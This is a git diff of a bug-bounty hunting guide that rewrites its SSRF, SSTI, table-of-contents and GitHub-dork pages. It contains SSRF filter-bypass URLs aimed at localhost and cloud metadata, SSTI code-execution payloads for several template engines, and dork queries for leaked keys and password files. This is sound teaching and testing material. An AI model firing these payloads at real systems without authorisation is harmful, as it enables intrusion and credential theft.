tunnel into internal networks and access sensitive internal data such as AWS metadata information. +Sign up with an email such as `blabla.collaborator.net`. If you receive an **HTTP** request on Collaborator, it is blind SSRF. If there's no impact beyond that, don't report it — DNS and SMTP requests don't matter. +### 4. Escalation -## Author: -[Tushar Verma](https://twitter.com/e11i0t_4lders0n) +- SSRF can be escalated to RCE (impact High): try command interpolation in a hostname that resolves and executes, e.g. `` ``.collaborator.net `` (thehackerish has a good video on this). +- If your SSRF only redirects and has no direct impact, try escalating to XSS (server fetches a URL you control that returns a malicious response processed by the app). +- Protocol smuggling: `gopher://`, `dict://`, `file://`, `ftp://` against internal services where the client library allows them. + +## Bypass Techniques + +1. **Bypass using HTTPS** + +```bash +https://127.0.0.1/ +https://localhost/ +``` + +2. **Bypass localhost with `[::]`** + +```bash +http://[::]:80/ +http://[::]:25/ # SMTP +http://[::]:22/ # SSH +http://[::]:3128/ # Squid +http://0000::1:80/ +http://0000::1:25/ # SMTP +http://0000::1:22/ # SSH +http://0000::1:3128/ # Squid +``` + +3. **Bypass localhost with a domain redirection** + +```bash +http://spoofed.burpcollaborator.net +http://localtest.me +http://customer1.app.localhost.my.company.127.0.0.1.nip.io +http://mail.ebc.apple.com # redirects to 127.0.0.6 == localhost +http://bugbounty.dod.network # redirects to 127.0.0.2 == localhost +``` + +4. **Bypass localhost with CIDR-style notation** + +```bash +http://127.127.127.127 +http://127.0.1.3 +http://127.0.0.0 +``` + +5. **Bypass using decimal IP notation** + +```bash +http://0177.0.0.1/ +http://2130706433/ # = http://127.0.0.1 +http://3232235521/ # = http://192.168.0.1 +http://3232235777/ # = http://192.168.1.1 +http://2852039166/ # = http://169.254.169.254 +``` + +6. **Bypass using IPv6/IPv4 address embedding** + +```bash +http://[0:0:0:0:0:ffff:127.0.0.1] +``` + +7. **Bypass using malformed URLs** + +``` +localhost:+11211aaa +localhost:00011211aaaa +``` + +8. **Bypass using rare addresses** + +```bash +http://0/ +http://127.1 +http://127.0.1 +``` + +9. **Bypass using URL encoding** + +```bash +http://127.0.0.1/%61dmin +http://127.0.0.1/%2561dmin +``` + +10. **Bypass using parser-difference tricks** + +``` +http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ +urllib2 -> 1.1.1.1 +requests + browsers -> 2.2.2.2 +urllib -> 3.3.3.3 +``` + +11. **Bypass using enclosed alphanumerics** + +``` +http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ (= example.com) +``` + +Full list: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ + +12. **Bypass PHP `filter_var()`** + +``` +0://evil.com:80;http://google.com:80/ +``` + +13. **Bypass against a weak URL parser** + +```bash +http://127.1.1.1:80\@127.2.2.2:80/ +http://127.1.1.1:80\@@127.2.2.2:80/ +http://127.1.1.1:80:\@@127.2.2.2:80/ +http://127.1.1.1:80#\@127.2.2.2:80/ +``` + +## Impact Summary + +A malicious actor can retrieve the content of arbitrary files on the system, leading to sensitive information exposure (passwords, source code, confidential data, etc.): + +1. Sensitive Data Exposure (cloud meta-data, internal files, DB HTTP interfaces) +2. Unauthenticated Requests to internal-only endpoints +3. Port Scans / Cross Site Port Attack (XSPA) +4. Protocol Smuggling +5. Escalation to RCE / XSS + +An attacker can tunnel into internal networks and access sensitive internal data such as AWS metadata (including IAM credentials). + +## Tools & Resources + +- PortSwigger SSRF article & labs: https://portswigger.net/web-security/ssrf +- HackTricks SSRF page: https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery +- PayloadsAllTheThings — SSRF: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery +- AllThingsSSRF: https://github.com/jdonsec/AllThingsSSRF +- gf-ssrf patterns, Burp Collaborator / interactsh, ffuf for param fuzzing +- "A New Era of SSRF" by Orange Tsai: https://www.youtube.com/watch?v=R9pJ2YCXoJQ ( https://blog.orange.tw/ ) +- HackerOne SSRF hacktivity: https://hackerone.com/hacktivity?order_field=popular&filter=type%3Apublic&querystring=SSRF + +Videos: + +- https://www.youtube.com/watch?v=U0bPPw6uPgY&t=1s +- https://www.youtube.com/watch?v=324cZic6asE +- https://www.youtube.com/watch?v=o-tL9ULF0KI +- https://www.youtube.com/watch?v=324cZic6asE&t=751s +- https://youtu.be/m4BxIf9PUx0 +- https://youtu.be/apzJiaQ6a3k + +HackerOne report references: + +- https://hackerone.com/reports/737161 +- https://hackerone.com/reports/816848 +- https://hackerone.com/reports/398799 +- https://hackerone.com/reports/382048 +- https://hackerone.com/reports/406387 +- https://hackerone.com/reports/736867 +- https://hackerone.com/reports/517461 +- https://hackerone.com/reports/508459 +- https://hackerone.com/reports/738553 +- https://hackerone.com/reports/514224 +- https://hackerone.com/reports/341876 +- https://hackerone.com/reports/793704 +- https://hackerone.com/reports/386292 +- https://hackerone.com/reports/326040 +- https://hackerone.com/reports/310036 +- https://hackerone.com/reports/643622 +- https://hackerone.com/reports/885975 +- https://hackerone.com/reports/207477 +- https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF + +Blogs & writeups: + +- https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978 +- https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-2-a085ec4332c0 +- https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-3-b0f5997e3739 +- https://medium.com/@kapilvermarbl/ssrf-server-side-request-forgery-5131ffd61c3c +- https://medium.com/@zain.sabahat/exploiting-ssrf-like-a-boss-c090dc63d326 +- https://medium.com/@chawdamrunal/what-is-server-side-request-forgery-ssrf-7cd0ead0d95f +- https://medium.com/swlh/ssrf-in-the-wild-e2c598900434 +- https://medium.com/swlh/intro-to-ssrf-beb35857771f +- https://medium.com/@briskinfosec/ssrf-server-side-request-forgery-ae44ec737cb8 +- https://medium.com/@GAYA3_R/vulnerability-server-side-request-forgery-ssrf-9fe5428184c1 +- https://medium.com/@gupta.bless/exploiting-ssrf-for-admin-access-31c30457cc44 +- https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-f62235a2c151 +- https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-testing-b9dfe57cca35 +- https://medium.com/bugbountywriteup/tagged/ssrf +- https://medium.com/@dlpadmavathi.us/ssrf-attack-real-example-a7279256abee +- https://medium.com/poka-techblog/server-side-request-forgery-ssrf-attacks-part-1-the-basics-a42ba5cc244a +- https://medium.com/seconset/all-about-ssrf-524f41ab96df +- https://blog.securityinnovation.com/the-many-faces-of-ssrf +- https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/ +- https://blog.appsecco.com/finding-ssrf-via-html-injection-inside-a-pdf-file-on-aws-ec2-214cc5ec5d90 +- https://blog.cobalt.io/from-ssrf-to-port-scanner-3e8ef5921fbf +- https://www.reddit.com/r/bugbounty/comments/cux2zs/ssrf_in_the_wild_the_startup_medium/ +- http://www.techpna.com/uptzh/blind-ssrf-medium.html +- http://institutopaideia.com.br/journal/blind-ssrf-medium-cfa769 +- https://www.sonrn.com.br/blog/5a44cc-blind-ssrf-medium +- https://ssrf-bypass-medium.thickkare.pw/ +- https://www.zerocopter.com/vulnerabilities-price-list-printable + +## Report Tips + +- Prove the request came from the *server* (Collaborator HTTP interaction with server IP / internal response content), not from your own browser. +- Severity framing: AWS/GCP metadata with IAM credentials or internal admin panel access → critical; blind HTTP interaction without further data → medium/low, and DNS/SMTP-only interaction → usually N/A. +- Include which bypass was required (filter present = stronger finding) and any escalation achieved (port scan results, file read, RCE/XSS chain). + +--- +*Authors: [Tushar Verma](https://twitter.com/e11i0t_4lders0n), [@0xCyberPirate](https://twitter.com/0xCyberPirate), [0xrtt](https://twitter.com/0xrtt)* diff --git a/SSTI/SSTI.md b/SSTI/SSTI.md index 7b6b10bf..65cdcf8e 100644 --- a/SSTI/SSTI.md +++ b/SSTI/SSTI.md @@ -1,12 +1,130 @@ -# Some MindMaps ---- -### SSTI Finding Attack Vector by @what_web -![https://pbs.twimg.com/media/EnwZh7qXcAEB3wu?format=jpg&name=large](https://pbs.twimg.com/media/EnwZh7qXcAEB3wu?format=jpg&name=large) +# Server-Side Template Injection (SSTI) + +SSTI occurs when user input is embedded into a server-side template and evaluated by the template engine instead of being escaped. It matters because template engines expose powerful objects (filesystem, runtime, environment), so a trivial arithmetic reflection often escalates to remote code execution. Typical impact is critical: RCE on the server, sensitive data disclosure, or full application compromise. + +## Hunting Checklist + +1. Find every place input is *rendered back* server-side: search results, error messages, profile fields (name/bio), email/welcome templates, password-reset pages, preview/custom themes, support tickets, and URL paths/query reflected in pages. +2. Submit an arithmetic expression, not just the literal string: `{{7*7}}`, `${7*7}`, `<%= 7*7 %>`, `#{7*7}`, `\${7*7}` — a response containing `49` (or `7*7` unevaluated in one engine and evaluated in another) confirms evaluation. +3. Distinguish SSTI from request reflection (XSS): with SSTI the *server* computes the expression; check the raw response, not the rendered DOM. +4. Fingerprint the engine from error messages and payload behavior (`jinja2.exceptions.UndefinedError`, `Twig_Error`, `freemarker.core...`, `ERB`, `Tornado`, etc.). +5. Once confirmed, escalate stepwise: read config/environment → list object attributes → execute a harmless command (`id`, `whoami`) — stop at proof when scope allows. +6. Test blind SSTI: payloads that trigger out-of-band interaction (template engine calling an external URL/DNS if the payload allows it) or cause delays/errors. +7. Run tplmap against candidate parameters to automate detection/exploitation across engines. +8. Don't forget non-obvious sinks: templates for emails, PDF/report generators, API error handlers, and second-order triggers (stored value rendered later). + +## Test Cases & Examples + +### Universal detection probes + +```bash +curl 'https://target.com/search?q={{7*7}}' +curl 'https://target.com/search?q=${7*7}' +curl 'https://target.com/search?q=<%=+7*7+%>' +curl 'https://target.com/search?q=#[{7*7}]' # Ruby ERB-style +``` + +Response containing `49` indicates template evaluation. + +### Engine identification + +```bash +{{7*7}} # 49 -> Python (Jinja2/Twisted) or Go +${7*7} # 49 -> Ruby (ERB), PHP (older templates), Java (Freemarker/SpEL variants) +<%=7*7%> # 49 -> Ruby ERB / EJS / ASP +#{7*7} # 49 -> Ruby (interpolation) +{{constructor.constructor('return 7*7')()}} # JS template engines +``` + +### Engine-specific proof / RCE payloads (public cheat-sheet staples) + +Python — Jinja2: + +```bash +{{config}} # dump config +{{ ''.__class__.__mro__[1].__subclasses__() }} # enumerate classes +{{config.items()}} +{{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()}} # pick subprocess.Popen at index X +{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} +``` + +Python — Tornado / Mako-style objects: + +```bash +{{request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__('os').popen('id').read()}} +``` + +Twig (PHP): + +```bash +{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} +{{['id']|filter('system')}} +``` + +Smarty (PHP): + +```bash +{php}echo `id`;{/php} +{system('id')} +``` -### Source -* [https://twitter.com/jae_hak99/status/1331967876417327104?s=20](https://twitter.com/jae_hak99/status/1331967876417327104?s=20) +Freemarker (Java): -### Tools -+ [tplmap](https://github.com/epinna/tplmap) -### Author -* [0xsunil](https://twitter.com/0xsunil) +```bash +<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } +``` + +Velocity (Java): + +```bash +#set($rt = $rt.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null)) +$rt.exec("id") +``` + +Ruby — ERB: + +```bash +<%= system("id") %> +<%= `id` %> +``` + +Java — SpEL / EL: + +```bash +${T(java.lang.Runtime).getRuntime().exec('id')} +#{''class.forName('java.lang.Runtime').getMethod('exec', ''.class).invoke('','id')} +``` + +(Detailed cross-engine table: PortSwigger SSTI knowledge base and PayloadsAllTheThings — links below.) + +### Finding the attack vector (mindmap by @what_web) + +![SSTI attack vector mindmap](https://pbs.twimg.com/media/EnwZh7qXcAEB3wu?format=jpg&name=large) + +Source: https://twitter.com/jae_hak99/status/1331967876417327104?s=20 + +## Bypass Techniques + +- **Keyword blacklist (`|`, `for`, `if`, class names)**: switch engines' equivalent syntax (attribute access vs `|attr()` in Jinja2: `{{''|attr('__class__')}}`), string concatenation (`'cl'+'ass'`), hex/unicode escapes. +- **`.` filtered**: Jinja2 bracket syntax — `request['application']['__self__']`. +- **`_` filtered**: string building — `{{()|attr('\x5f\x5fclass\x5f\x5f')}}` or `attr(''.__class__)` alternatives via `|attr(config)` style tricks. +- **Sandboxed environments**: use allowed dunder chains via registered globals/callables (`cycler`, `lipsum`, `__builtins__`) — the `cycler.__init__.__globals__.os.popen` chain is the standard non-filter route. +- **Blind / no reflection**: trigger computation whose only observable is timing, errors, or OOB lookup (e.g., payload that makes the engine resolve a URL you control). +- **WAF/character filters**: URL encode the probe, split payloads across multiple params if concatenated, or comment syntax supported by the template. + +## Tools & Resources + +- tplmap: https://github.com/epinna/tplmap +- PortSwigger SSTI labs & article: https://portswigger.net/web-security/server-side-template-injection +- PayloadsAllTheThings — SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection +- Justin Steven's template injection for pentesters: https://portswigger.net/research/server-side-template-injection +- HackerOne SSTI hacktivity search: https://hackerone.com/hacktivity?order_field=popular&filter=type%3Apublic&querystring=SSTI + +## Report Tips + +- Show the arithmetic reflection (`49`) first, then the engine identified, then a *non-destructive* RCE proof (`id`/`whoami` output) — this ordering makes triage severity obvious. +- State whether the injection point is unauthenticated and whether the template sink is shared (e.g., email templates rendered for other users) — both push toward critical. +- Never dump full environment/config secrets in the report; mask values and note that secrets were readable. + +--- +*Author: [0xsunil](https://twitter.com/0xsunil)* diff --git a/SUMMARY.md b/SUMMARY.md index add02a0e..a4066482 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -1,225 +1,113 @@ -# Table of contents +# Table of Contents -* [HowToHunt.md](README.md) +* [Home](README.md) -### API Testing +## Getting Started -* [Hidden API Functionality Exposure](./API_Testing/Hidden_API_Functionality_Exposure.md) -* [Reverse Engineer an API](./API_Testing/Reverse_Engineer_an_API.md) +* [Web Application Pentesting Checklist](CheckList/Web-Application-Pentesting-checklist.md) +* [Recon Workflow](Recon/Workflow.md) +* [Subdomain Enumeration](Recon/subdomain_enumeration.md) +* [GitHub Dorking](Recon/Github_Dorking.md) +* [Web Source Code Review Tips](Web_Source_Review/codereviewtips.md) -### Account Takeover Methodology +## Account Takeover & Authentication -* [Account Takeover Methodology](./Account_Takeovers_Methodologies/Account_Takeovers_Methods.md) - -### Application Level DoS - -* [Application Level DoS Methods](/Application_Level_DoS/ALD_Methods.md) - -### Authentication Bypass - -* [2FA Bypasses](./Authentication_Bypass/2FA_Bypasses.md) -* [OTP Bypass](./Authentication_Bypass/OTP_Bypass.md) +* [Account Takeover Methodologies](Account_Takeovers_Methodologies/Account_Takeovers_Methods.md) * [Account Ban Bypass](Authentication_Bypass/account_ban_bypass.md) - -### Broken-Link Hijacking - -* [Broken-Link Hijacking](./BrokenLinkHijacking/BrokenLinkHijacking.md) - -### Broken Auth And Session Management - -* [Session Based Bugs](./Broken_Auth_And_Session_Management/Session_based_bugs.md) - -### CMS - -* [AEM](./CMS/AEM.md) -* [Drupal](./CMS/Drupal.md) -* [Wordpress](./CMS/wordpress.md) -* [Moodle](./CMS/Moodle.md) - -### CORS - -* [CORS](./CORS/CORS.md) -* [CORS Bypasses](./CORS/CORS_Bypasses.md) - -### CSRF - -* [CSRF](./CSRF/CSRF.md) -* [CSRF MindMap](./CSRF/README.md) -* [CSRF Bypass](./CSRF/Cross_Site_Request_Forgery_Bypass.md) - -### Finding CVEs - -* [CVES](./CVES/easycve.md) - -### CheckList - -* [Web Application Pentesting Checklist](./CheckList/Web-Application-Pentesting-checklist.md) -* [Web Checklist by Chintan Gurjar.pdf](https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web_Checklist_by_Chintan_Gurjar.pdf) -* [Web Checklist by Tushra Verma.pdf](https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web_Application_Penetration_Testing_Checklist_by_Tushar_Verma.pdf) -* [Mindmap by Rohit Gautam](https://github.com/KathanP19/HowToHunt/blob/master/CheckList/mindmap.png) -* [Mindmap by Cristian Cornea](https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web_Penetration_Testing_Methodology%402x.png) - -### Web Page Source Code Review - -* [Web Page Code Review Tips](./Web_Source_Review/codereviewtips.md) - -### EXIF Geo Data Not Stripped - -* [EXIF Geo Data Not Stripped](./EXIF_Geo_Data_Not_Stripped/exif_geo.md) - -### File Upload Bypass - -* [File Upload Bypass](./File_Upload/file_upload.md) - -### Find Origin IP - -* [Find Origin](./FindOriginIP/FindOrigin.md) - -### GraphQL - -* [GraphQL](./GraphQL/GraphQL.md) - -### HTTP Desync Attack - -* [HTTP_Desync](./HTTP_Desync/http_desync.md) - -### Host-Header Attack - -* [Host-Header](./Host-Header/Host-Header.md) - -### HTML-Injection - -* [HTML-Injection](./HTML_Injection/HTML_Injection_on_password_reset_page.md) - -### IDOR - -* [IDOR](./IDOR/IDOR.md) - -### JWT ATTACK - -* [JWT](./JWT/JWT.md) - -### JIRA ATTACK - -* [JIRA](./JIRA/README.md) - -### MFA Bypass - -* [MFA Bypasses](./MFA_Bypasses/README.md) -* [2FA-Bypass](./MFA_Bypasses/2FA_Bypass.md) - -### Misconfigurations - -* [Default Credential And Admin Panel](./Misconfigurations/Default_Credential_and_admin_panel.md) -* [Docker](./Misconfigurations/Docker.md) -* [S3 Bucket](./Misconfigurations/S3-Bucket_Misconfig.md) - -### OAuth - -* [OAuth](./OAuth/README.md) -* [OAuth Hunting](./OAuth/OAuth%202.0%20Hunting%20Methodology.md) - -### Open Redirection - -* [Find OpenRedirect Trick](./Open_Redirection/find_OpenRedirect_trick.md) -* [Open Redirection Bypass](./Open_Redirection/Open_Redirection_Bypass.md) - -### Parameter Pollution - -* [Parameter Pollution In Social Sharing Buttons](./Parameter_Pollution/Parameter_Pollution_in_social_sharing_buttons.md) - -### Password Reset Functionality - -* [MindMap](./Password_Reset_Functionality/README.md) -* [Password Reset Token Leakage](./Password_Reset_Functionality/Password_Reset_Token_Leakage.md) -* [Account_Takeover_By_Password_Reset_Functionality](./Password_Reset_Functionality/Account_Takeover_By_Password_Reset_Functionality.md) -* [Password_Reset_Flaws](./Password_Reset_Functionality/Password_Reset_Flaws_by_Sm4rty.md) - -### Rate Limit - -* [Rate Limit Flaws](./Rate_limit/README.md) -* [Rate-Limit Bypass](./Rate_limit/RateLimitBypass.md) -* [No Rate-Limit on Verify-PhoneNo](./Rate_limit/No%20Rate-Limit%20on%20Verify-PhoneNo.md) -* [No Rate-limit on Invite User](./Rate_limit/No%20Rate-limit%20on%20Invite%20User.md) -* [No Rate-limit on Promo](./Rate_limit/No%20Rate-limit%20on%20Promo.md) -* [No Rate-limit on Verify-email](./Rate_limit/No%20Rate-limit%20on%20Verify-email.md) -* [No Rate-limit on forget-password](./Rate_limit/No%20Rate-limit%20on%20forget-password.md) - - -### Race Condition - -* [Race Condition](./Race_Condition/race_conditions.md) - -### Recon - -* [Github](./Recon/Github_Dorking.md) -* [Recon Workflow](./Recon/Workflow.md) -* [Subdomain Enumeration](./Recon/subdomain_enumeration.md) - -### SQLi - -* [SQL Injection.md](./SQLi/SQL_Injection.md) - -### SAML - -* [SAML](./SAML/SAML.md) - -### SSRF - -* [SSRF](./SSRF/SSRF.md) -* [Blind SSRF](./SSRF/Blind_SSRF.md) - -### SSTI - -* [SSTI](./SSTI/SSTI.md) - -### Sign Up Functionality - -* [Sign Up Bugs](./Sign_Up_Functionality/Hunting_for_bugs_in_signup_feature.md) -* [Sign Up MindMap](./Sign_Up_Functionality/Signup_Mindmap.png) - -### Sensitive Info Leaks - -* [Github Recon Method](./Sensitive_Info_Leaks/Github_Recon_Method.md) -* [Github-Dorks](./Sensitive_Info_Leaks/Github-dorks.md) -* [Github Dorks All](./Sensitive_Info_Leaks/Github_dorks_all.md) -* [Google Dorks ](./Sensitive_Info_Leaks/Google_Dorks.md) -* [Shodan CVE Dorks](./Sensitive_Info_Leaks/Shodan_cve_dorks.md) -* [Version Leaks](./Sensitive_Info_Leaks/Version_Leak.md) - -### Status Code Bypass - -* [Status_Code_Bypass Tips](./Status_Code_Bypass/README.md) -* [403 Bypass](./Status_Code_Bypass/403Bypass.md) - -### Subdomain Takeover - -* [Subdomain Takeover - Detail Method](./Subdomain_Takeover/Subdomain_Takeover.md) -* [Subdomain Takeover - Easy Method](./Subdomain_Takeover/Easy_Methods.md) -* [Subs or Top level Domain](./Subdomain_Takeover/Sub_or_top_level_domain_takeover.md) - -### Tabnabbing - -* [Tabnabbing](./Tabnabbing/Tabnabbing.md) - -### WAF Bypasses - -* [WAF Bypass Using Headers](./WAF_Bypasses/WAF_Bypass_Using_headers.md) - -### Weak Password Policy - -* [Weak Password Policy](./Weak_Password_Policy/Weak_password_policy.md) - -### XSS - -* [XSS](./XSS/Xss.md) -* [Bypass CSP](./XSS/Bypass_CSP.md) -* [XSS Bypass](./XSS/XSS_Bypass.md) -* [Automated XSS](./XSS/Automated_XSS.md) -* [Post Message Xss](./XSS/post_message_xss.md) - -### XXE - -* [XXE Methods](./XXE/XXE_Methods.md) -* [Billion Laugh Attack](./XXE/Billion_Laugh_Attack.md) - +* [OTP Bypass](Authentication_Bypass/OTP_Bypass.md) +* [2FA/MFA Bypasses](MFA_Bypasses/2FA_Bypass.md) +* [Session-Based Bugs](Broken_Auth_And_Session_Management/Session_based_bugs.md) +* [Sign-Up Functionality Bugs](Sign_Up_Functionality/Hunting_for_bugs_in_signup_feature.md) +* [Password Reset Functionality](Password_Reset_Functionality/README.md) + * [Top 5 Password Reset Bugs](Password_Reset_Functionality/Top_5_Password_Reset_Bugs.md) + * [Account Takeover via Password Reset](Password_Reset_Functionality/Account_Takeover_By_Password_Reset_Functionality.md) + * [Password Reset Flaws](Password_Reset_Functionality/Password_Reset_Flaws_by_Sm4rty.md) + * [Password Reset Token Leakage](Password_Reset_Functionality/Password_Reset_Token_Leakage.md) + * [HTML Injection on Password Reset Page](HTML_Injection/HTML_Injection_on_password_reset_page.md) +* [Weak Password Policy](Weak_Password_Policy/Weak_password_policy.md) + +## Identity & Tokens + +* [JWT Attacks](JWT/JWT.md) +* [OAuth 2.0 Hunting Methodology](OAuth/OAuth_2.0_Hunting_Methodology.md) +* [SAML Hunting](SAML/SAML.md) + +## Client-Side + +* [XSS](XSS/Xss.md) + * [XSS Bypasses](XSS/XSS_Bypass.md) + * [postMessage XSS](XSS/post_message_xss.md) + * [CSP Bypasses](XSS/Bypass_CSP.md) + * [Automated XSS](XSS/Automated_XSS.md) +* [CORS Misconfiguration](CORS/CORS.md) + * [CORS Bypasses](CORS/CORS_Bypasses.md) +* [CSRF](CSRF/CSRF.md) + * [CSRF Bypasses](CSRF/Cross_Site_Request_Forgery_Bypass.md) +* [Open Redirection Hunting](Open_Redirection/Open_Redirection_Hunting.md) + * [Open Redirection Bypasses](Open_Redirection/Open_Redirection_Bypass.md) +* [Tabnabbing](Tabnabbing/Tabnabbing.md) +* [Host Header Attacks](Host-Header/Host-Header.md) +* [Parameter Pollution in Social Sharing Buttons](Parameter_Pollution/Parameter_Pollution_in_social_sharing_buttons.md) + +## Server-Side + +* [IDOR](IDOR/IDOR.md) +* [SQL Injection](SQLi/SQL_Injection.md) +* [SSRF](SSRF/SSRF.md) + * [Blind SSRF](SSRF/Blind_SSRF.md) +* [SSTI](SSTI/SSTI.md) +* [XXE](XXE/XXE_Methods.md) + * [Billion Laughs Attack](XXE/Billion_Laugh_Attack.md) +* [File Upload Vulnerabilities](File_Upload/file_upload.md) +* [Race Conditions](Race_Condition/race_conditions.md) +* [Application Level DoS](Application_Level_DoS/ALD_Methods.md) +* [HTTP Desync](HTTP_Desync/http_desync.md) +* [Status Code / 403 Bypasses](Status_Code_Bypass/403Bypass.md) +* [WAF Bypass Using Headers](WAF_Bypasses/WAF_Bypass_Using_headers.md) + +## Rate Limiting + +* [Rate Limit Guide (Index)](Rate_limit/README.md) +* [Missing Rate Limit Scenarios](Rate_limit/Missing_Rate_Limit_Scenarios.md) +* [Rate Limit Bypasses](Rate_limit/RateLimitBypass.md) + +## APIs & GraphQL + +* [API Testing (Index)](API_Testing/README.md) +* [Hidden API Functionality Exposure](API_Testing/Hidden_API_Functionality_Exposure.md) +* [Reverse Engineer an API](API_Testing/Reverse_Engineer_an_API.md) +* [GraphQL Hunting](GraphQL/GraphQL.md) + +## Misconfigurations & Leaks + +* [Sensitive Info Leaks (Index)](Sensitive_Info_Leaks/README.md) + * [GitHub Dorks (Curated)](Sensitive_Info_Leaks/Github-dorks.md) + * [GitHub Dorks (Full List)](Sensitive_Info_Leaks/Github_dorks_all.md) + * [GitHub Recon Method](Sensitive_Info_Leaks/Github_Recon_Method.md) + * [Google Dorks](Sensitive_Info_Leaks/Google_Dorks.md) + * [Shodan CVE Dorks](Sensitive_Info_Leaks/Shodan_cve_dorks.md) + * [Version Leaks](Sensitive_Info_Leaks/Version_Leak.md) +* [Default Credentials & Admin Panels](Misconfigurations/Default_Credential_And_Admin_Panel.md) +* [Docker Misconfigurations](Misconfigurations/Docker.md) +* [S3 Bucket Misconfigurations](Misconfigurations/S3-Bucket_Misconfig.md) +* [EXIF Geo Data Not Stripped](EXIF_Geo_Data_Not_Stripped/exif_geo.md) +* [Finding Origin IP](FindOriginIP/FindOrigin.md) +* [Broken-Link Hijacking](BrokenLinkHijacking/BrokenLinkHijacking.md) + +## Subdomain Takeover + +* [Subdomain Takeover Guide](Subdomain_Takeover/Subdomain_Takeover.md) +* [Easy Methods](Subdomain_Takeover/Easy_Methods.md) +* [Sub / Top-Level Domain Takeover](Subdomain_Takeover/Sub_or_top_level_domain_takeover.md) + +## CMS-Specific + +* [WordPress](CMS/wordpress.md) +* [Drupal](CMS/Drupal.md) +* [Moodle](CMS/Moodle.md) +* [Adobe AEM](CMS/AEM.md) + +## Target-Specific & CVE Hunting + +* [Jira Hunting](JIRA/README.md) +* [Easy CVE Hunting](CVES/easycve.md) diff --git a/Sensitive_Info_Leaks/Github-dorks.md b/Sensitive_Info_Leaks/Github-dorks.md index 059d4aa2..1c8571f8 100644 --- a/Sensitive_Info_Leaks/Github-dorks.md +++ b/Sensitive_Info_Leaks/Github-dorks.md @@ -1,113 +1,139 @@ -**GitHub Dork List :** - -**GitHub Dorks for Finding Files** - -- filename:manifest.xml -- filename:travis.yml -- filename:vim_settings.xml -- filename:database -- filename:prod.exs NOT prod.secret.exs -- filename:prod.secret.exs -- filename:.npmrc _auth -- filename:.dockercfg auth -- filename:WebServers.xml -- filename:.bash_history -- filename:sftp-config.json -- filename:sftp.json path:.vscode -- filename:secrets.yml password -- filename:.esmtprc password -- filename:passwd path:etc -- filename:dbeaver-data-sources.xml -- path:sites databases password -- filename:config.php dbpasswd -- filename:prod.secret.exs -- filename:configuration.php JConfig password -- filename:.sh_history -- shodan_api_key language:python -- filename:shadow path:etc -- JEKYLL_GITHUB_TOKEN -- filename:proftpdpasswd -- filename:.pgpass -- filename:idea14.key -- filename:hub oauth_token -- HEROKU_API_KEY language:json -- HEROKU_API_KEY language:shell -- SF_USERNAME salesforce -- filename:.bash_profile aws -- extension:json [api.forecast.io](http://api.forecast.io/) -- filename:.env MAIL_HOST=[smtp.gmail.com](http://smtp.gmail.com/) -- filename:wp-config.php -- extension:sql mysql dump -- filename:credentials aws_access_key_id -- filename:id_rsa or filename:id_dsa - ----------- - - -**GitHub Dorks for Finding Languages** - - - language:python username - - language:php username - - language:sql username - - language:html password - - language:perl password - - language:shell username - - language:java api - - HOMEBREW_GITHUB_API_TOKEN language:shell - ------- - - -**GiHub Dorks for Finding API Keys, Tokens and Passwords** - -- api_key -- “api keys” -- authorization_bearer: -- oauth -- auth -- authentication -- client_secret -- api_token: -- “api token” -- client_id -- password -- user_password -- user_pass -- passcode -- client_secret -- secret -- password hash -- OTP -- user auth - - ------ - -**GitHub Dorks for Finding Username**s - -- user:name (user:admin) -- org:name (org:google type:users) -- in:login ( in:login) -- in:name ( in:name) -- fullname:firstname lastname (fullname: ) -- in:email (data in:email) -- GitHub 